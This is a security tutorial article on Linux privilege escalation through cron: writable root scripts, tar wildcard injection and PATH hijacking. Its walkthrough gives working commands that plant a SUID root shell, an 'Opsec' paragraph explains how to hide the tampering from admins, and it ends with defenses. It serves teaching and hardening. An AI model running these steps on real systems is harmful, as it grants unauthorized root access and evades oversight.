Cron Job Hijacking and Writable Scripts on Linux

Cron Job Hijacking and Writable Scripts on Linux - article cover image Linux Privesc
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

cron is the standard time-based job scheduler on Linux, and on most distributions the system-wide scheduler (/etc/crontab, /etc/cron.d/*, /etc/cron.{hourly,daily,weekly,monthly}) runs its jobs as root. That makes cron one of the most reliable privilege-escalation primitives on any box: if an unprivileged user can influence *what* a root-owned cron job executes, or *how* it resolves the command it runs, they get arbitrary code execution as root on the next tick of the clock — no exploit, no memory corruption, just a permissions mistake and patience measured in minutes.

The bug is almost never in cron itself; it is in the surrounding filesystem hygiene. A backup script left group- or world-writable, a job invoked without an absolute path so it is resolved through a poisoned PATH, or a shell one-liner that glob-expands * in a directory the attacker can write to are all extremely common findings in real environments, especially on hosts that accumulated ad-hoc automation over years of different admins. Because the job runs unattended and on a schedule, the escalation is also low-noise: the attacker plants the payload once and waits for cron to do the privileged part.

Attack Prerequisites

Cron hijacking requires local access and a misconfiguration in how a privileged job is defined or where its target file lives. Concretely, one of the following must be true:

  • Local shell access as any low-privileged user, to inspect cron configuration and write files.
  • A root (or higher-privilege) cron job exists — visible in /etc/crontab, /etc/cron.d/, /etc/cron.{hourly,daily,weekly,monthly}, or a user crontab you can read via crontab -l -u <user> if permissions allow.
  • A writable target: the invoked script/binary itself, a directory earlier in its resolution path, a directory the job cds into before a globbing command, or a log/include file the script sources.
  • No path hardening in the job definition — a bare command name relied on PATH lookup, or a wildcard (*) is passed to a command like tar, chown, or rsync that interprets leading-dash arguments as options.

How It Works

cron reads job definitions and executes each command’s argv with the privileges of the *owning* crontab, not the privileges of whoever last edited the target file. System crontab entries specify a user field, and cron forks, drops to that UID/GID (root stays root), sets up a minimal environment (often just PATH=/usr/bin:/bin, SHELL=/bin/sh, HOME of the owner), and execs the command through /bin/sh -c. Crucially, cron never re-validates the *permissions* of the script it is about to run — if /opt/scripts/backup.sh is -rwxrwxrwx and owned by root, cron happily executes it as root even though any user on the box could have rewritten its contents seconds earlier.

The wildcard class of bugs works differently and exploits the shell, not cron. When a cron line runs something like tar czf backup.tar.gz * inside a directory, the shell expands * to every filename in that directory *before* tar ever sees it. GNU tar and several other Unix tools treat any argument starting with a dash as an option, not a filename. An attacker who can write into that directory drops files named things like --checkpoint=1 and --checkpoint-action=exec=sh\ evil.sh; once expanded these become real command-line flags to tar, and GNU tar’s checkpoint-action feature will execute an arbitrary shell command mid-archive, as whatever user is running the job.

A third, quieter variant is PATH poisoning: if the cron environment or the script itself calls a bare command name (backup, mysqldump, python) instead of an absolute path, and a writable directory appears earlier in resolution than the real binary — either because the job’s PATH= line was set carelessly in the crontab header, or because the script itself does export PATH=.:$PATH — the attacker just drops a same-named executable and waits.

Vulnerable Code / Configuration

The single most common finding: a root-owned crontab entry pointing at a script that is not root-owned or is group/world-writable.

# /etc/crontab
# m h dom mon dow user  command
*/5 * * * *  root  /opt/scripts/backup.sh >> /var/log/backup.log 2>&1

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 214 Jan  4 09:11 /opt/scripts/backup.sh
#           ^^^ world-writable — ANY local user can rewrite this file,
# and it will next execute as root within 5 minutes.
TEXT

The wildcard variant — a nightly archive job run from a world-writable working directory, no absolute paths, no --:

# /etc/cron.d/site-backup
0 2 * * *  root  cd /var/www/html && tar czf /backup/site-$(date +\%F).tar.gz *

$ ls -ld /var/www/html
drwxrwxrwx 6 www-data www-data 4096 Jan  4 09:00 /var/www/html
# world-writable webroot + unquoted wildcard passed to tar
# = attacker-controlled argv via GNU tar --checkpoint-action
TEXT

A third pattern, PATH passthrough on the crontab header combined with a bare command name inside the script:

# /etc/crontab
PATH=/home/deploy/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin
*/10 * * * *  root  report-sync
#                   ^^^^^^^^^^^ bare name, resolved via PATH above
# /home/deploy/bin is writable by the deploy user, and is searched FIRST
TEXT

Walkthrough / Exploitation

Start by enumerating every cron surface a low-privileged user can read, and check the permissions of everything referenced:

cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/* 2>/dev/null
ls -la /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
crontab -l 2>/dev/null                 # your own
sudo -l 2>/dev/null                     # sometimes reveals crontab -u rights
# For every path you see referenced, check writability:
find / -writable -not -path '/proc/*' -type f 2>/dev/null | grep -Ff <(
  grep -hoE '(/[a-zA-Z0-9._-]+)+\.sh' /etc/crontab /etc/cron.d/* 2>/dev/null)
Bash

If a root job points at a script you can write to, the exploit is trivial — append (do not replace, to stay under the radar) a payload that drops a SUID shell:

echo '' >> /opt/scripts/backup.sh
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /opt/scripts/backup.sh
# wait for the next tick (max 5 minutes here), then:
/tmp/rootbash -p
id   # uid=0(root)
Bash

For the wildcard/tar variant, plant checkpoint-action files in the world-writable directory the job operates on, then wait for the schedule:

cd /var/www/html
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# next tar invocation from cron expands these as flags:
#   tar czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh\ shell.sh ...
# and shell.sh runs as the cron job's user (root)
Bash

For PATH hijacking, drop a malicious binary with the exact bare name into the writable directory that precedes the real one:

cat > /home/deploy/bin/report-sync <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash
EOF
chmod +x /home/deploy/bin/report-sync
# next scheduled run resolves 'report-sync' from PATH and executes ours as root
Bash

Note: Also check user crontabs under /var/spool/cron/crontabs/<user> (or /var/spool/cron/<user> on some distros) if you land as that user or as root momentarily — a low-privileged service account with a writable crontab file is an equally valid escalation path back to that account’s privileges, and occasionally that account itself has broader sudo rights.

Opsec: Appending to an existing script is quieter than replacing it, and a sleep 1 && prefix followed by cleanup of your marker lines afterward avoids leaving an obviously modified file sitting in /opt/scripts. Reverting your addition immediately after the SUID copy lands minimizes the window an admin diffing the script against backups would see.

Detection and Defense

Cron hijacking is prevented entirely by filesystem hygiene around job definitions and their targets, and is cheap to detect with integrity monitoring:

  • Never make a root-executed script writable by non-root — scripts invoked by system cron should be root:root 0755 (or stricter) with no group/world write bit, and live in a directory (e.g. /opt/scripts) that is itself root:root 0755.
  • Use absolute paths everywhere in crontabs and inside the scripts they call; never rely on PATH lookup for a privileged job, and set a minimal, hardcoded PATH= in the crontab header pointing only at root-owned directories.
  • Avoid unquoted wildcards with tar/chown/chmod/rsync in privileged jobs; use tar -- * is not enough — prefer explicit file lists or find ... -print0 | xargs -0 and pass -- before the wildcard.
  • File integrity monitoring (auditd watches on /etc/crontab, /etc/cron.d/, and every script path they reference; AIDE/Tripwire baselines) to alert on unexpected modification.
  • Baseline and diff cron configuration on a schedule, and alert on any new job or changed script hash.

Real-World Impact

Writable-cron-script and wildcard-injection findings are a staple of Linux privilege-escalation checklists (they are core techniques in HackTricks and GTFOBins-adjacent guides) precisely because they show up constantly on real engagements — legacy backup scripts, deployment shims, and log-rotation helpers accumulate loose permissions over years of handoffs between admins. The GNU tar --checkpoint-action wildcard trick in particular is a well-documented, reliable technique that regularly surfaces in CTFs (it appears throughout the HackTheBox/TryHackMe Linux privesc curriculum) and in real assessments of hosts running periodic tar-based backups from web-writable directories.

Conclusion

Cron is only as trustworthy as the files it touches. A root-owned schedule entry does not protect a world-writable script, an unquoted wildcard, or a loose PATH — any of the three hands root execution to whoever can write into the right place at the right time. Locking down script and directory ownership, using absolute paths, quoting or eliminating wildcards in privileged commands, and monitoring cron configuration for drift closes this off almost entirely.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL